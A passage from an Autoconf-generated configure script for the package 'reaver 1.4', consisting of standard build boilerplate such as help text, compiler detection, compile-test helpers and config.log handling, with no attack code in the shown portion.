s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` srcdir=$ac_confdir if test ! -r "$srcdir/$ac_unique_file"; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r "$srcdir/$ac_unique_file"; then test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." as_fn_error "cannot find sources ($ac_unique_file) in $srcdir" fi ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" ac_abs_confdir=`( cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error "$ac_msg" pwd)` # When building in place, set srcdir=. if test "$ac_abs_confdir" = "$ac_pwd"; then srcdir=. fi # Remove unnecessary trailing slashes from srcdir. # Double slashes in file names in object file debugging info # mess up M-x gdb in Emacs. case $srcdir in */) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; esac for ac_var in $ac_precious_vars; do eval ac_env_${ac_var}_set=\${${ac_var}+set} eval ac_env_${ac_var}_value=\$${ac_var} eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} eval ac_cv_env_${ac_var}_value=\$${ac_var} done # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures reaver 1.4 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] --datadir=DIR read-only architecture-independent data [DATAROOTDIR] --infodir=DIR info documentation [DATAROOTDIR/info] --localedir=DIR locale-dependent data [DATAROOTDIR/locale] --mandir=DIR man documentation [DATAROOTDIR/man] --docdir=DIR documentation root [DATAROOTDIR/doc/reaver] --htmldir=DIR html documentation [DOCDIR] --dvidir=DIR dvi documentation [DOCDIR] --pdfdir=DIR pdf documentation [DOCDIR] --psdir=DIR ps documentation [DOCDIR] _ACEOF cat <<\_ACEOF _ACEOF fi if test -n "$ac_init_help"; then case $ac_init_help in short | recursive ) echo "Configuration of reaver 1.4:";; esac cat <<\_ACEOF Some influential environment variables: CC C compiler command CFLAGS C compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory LIBS libraries to pass to the linker, e.g. -l CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CPP C preprocessor Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. Report bugs to the package provider. _ACEOF ac_status=$? fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d "$ac_dir" || { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || continue ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix cd "$ac_dir" || { ac_status=$?; continue; } # Check for guested configure. if test -f "$ac_srcdir/configure.gnu"; then echo && $SHELL "$ac_srcdir/configure.gnu" --help=recursive elif test -f "$ac_srcdir/configure"; then echo && $SHELL "$ac_srcdir/configure" --help=recursive else $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi || ac_status=$? cd "$ac_pwd" || { ac_status=$?; break; } done fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF reaver configure 1.4 generated by GNU Autoconf 2.65 Copyright (C) 2009 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit fi ## ------------------------ ## ## Autoconf initialization. ## ## ------------------------ ## # ac_fn_c_try_compile LINENO # -------------------------- # Try to compile conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest.$ac_objext; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_compile # ac_fn_c_try_link LINENO # ----------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_link () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext conftest$ac_exeext if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest$ac_exeext && { test "$cross_compiling" = yes || $as_test_x conftest$ac_exeext }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would # interfere with the next link command; also delete a directory that is # left behind by Apple's compiler. We do this before executing the actions. rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_link # ac_fn_c_try_cpp LINENO # ---------------------- # Try to preprocess conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_cpp () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_cpp conftest.$ac_ext" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } >/dev/null && { test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || test ! -s conftest.err }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_cpp # ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists, giving a warning if it cannot be compiled using # the include files in INCLUDES and setting the cache variable VAR # accordingly. ac_fn_c_check_header_mongrel () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } else # Is the header compilable? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5 $as_echo_n "checking $2 usability... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_header_compiler=yes else ac_header_compiler=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5 $as_echo "$ac_header_compiler" >&6; } # Is the header present? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5 $as_echo_n "checking $2 presence... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include <$2> _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : ac_header_preproc=yes else ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5 $as_echo "$ac_header_preproc" >&6; } # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #(( yes:no: ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5 $as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; no:yes:* ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5 $as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5 $as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5 $as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5 $as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else eval "$3=\$ac_header_compiler" fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} } # ac_fn_c_check_header_mongrel # ac_fn_c_try_run LINENO # ---------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. Assumes # that executables *can* be run. ac_fn_c_try_run () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then : ac_retval=0 else $as_echo "$as_me: program exited with status $ac_status" >&5 $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=$ac_status fi rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} as_fn_set_status $ac_retval } # ac_fn_c_try_run # ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists and can be compiled using the include files in # INCLUDES, setting the cache variable VAR accordingly. ac_fn_c_check_header_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if { as_var=$3; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} } # ac_fn_c_check_header_compile cat >config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by reaver $as_me 1.4, which was generated by GNU Autoconf 2.65. Invocation command line was $ $0 $@ _ACEOF exec 5>>config.log { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` /usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. $as_echo "PATH: $as_dir" done IFS=$as_save_IFS } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *\'*) ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; 2) as_fn_append ac_configure_args1 " '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi as_fn_append ac_configure_args " '$ac_arg'" ;; esac done done { ac_configure_args0=; unset ac_configure_args0;} { ac_configure_args1=; unset ac_configure_args1;} # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Use '\'' to represent an apostrophe within the trap. # WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo cat <<\_ASBOX ## ---------------- ## ## Cache variables. ## ## ---------------- ## _ASBOX echo # The following way of writing the cache mishandles newlines in values, ( for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( *${as_nl}ac_space=\ *) sed -n \ "s/'\''/'\''\\\\'\'''\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" ;; #( *) sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) echo cat <<\_ASBOX ## ----------------- ## ## Output variables. ## ## ----------------- ## _ASBOX echo for ac_var in $ac_subst_vars do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo if test -n "$ac_subst_files"; then cat <<\_ASBOX ## ------------------- ## ## File substitutions. ## ## ------------------- ## _ASBOX echo for ac_var in $ac_subst_files do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo fi if test -s confdefs.h; then cat <<\_ASBOX ## ----------- ## ## confdefs.h. ## ## ----------- ## _ASBOX echo cat confdefs.h echo fi test "$ac_signal" != 0 && $as_echo "$as_me: caught signal $ac_signal" $as_echo "$as_me: exit $exit_status" } >&5 rm -f core *.core core.conftest.* && rm -f -r conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -f -r conftest* confdefs.h $as_echo "/* confdefs.h */" > confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_URL "$PACKAGE_URL" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer an explicitly selected file to automatically selected ones. ac_site_file1=NONE ac_site_file2=NONE if test -n "$CONFIG_SITE"; then ac_site_file1=$CONFIG_SITE elif test "x$prefix" != xNONE; then ac_site_file1=$prefix/share/config.site ac_site_file2=$prefix/etc/config.site else ac_site_file1=$ac_default_prefix/share/config.site ac_site_file2=$ac_default_prefix/etc/config.site fi for ac_site_file in "$ac_site_file1" "$ac_site_file2" do test "x$ac_site_file" = xNONE && continue if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 $as_echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special files # actually), so we avoid doing that. DJGPP emulates it as a regular file. if test /dev/null != "$cache_file" && test -f "$cache_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 $as_echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . "$cache_file";; *) . "./$cache_file";; esac fi else { $as_echo "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 $as_echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in $ac_precious_vars; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val=\$ac_cv_env_${ac_var}_value eval ac_new_val=\$ac_env_${ac_var}_value case $ac_old_set,$ac_new_set in set,) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then # differences in whitespace do not lead to failure. ac_old_val_w=`echo x $ac_old_val` ac_new_val_w=`echo x $ac_new_val` if test "$ac_old_val_w" != "$ac_new_val_w"; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 $as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} ac_cache_corrupted=: else { $as_echo "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 $as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} eval $ac_var=\$ac_old_val fi { $as_echo "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 $as_echo "$as_me: former value: \`$ac_old_val'" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 $as_echo "$as_me: current value: \`$ac_new_val'" >&2;} fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) as_fn_append ac_configure_args " '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 $as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} as_fn_error "run \`make distclean' and/or \`rm $cache_file' and start over" "$LINENO" 5 fi ## -------------------- ## ## Main body of script. ## ## -------------------- ## ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="${ac_tool_prefix}gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_CC="gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: 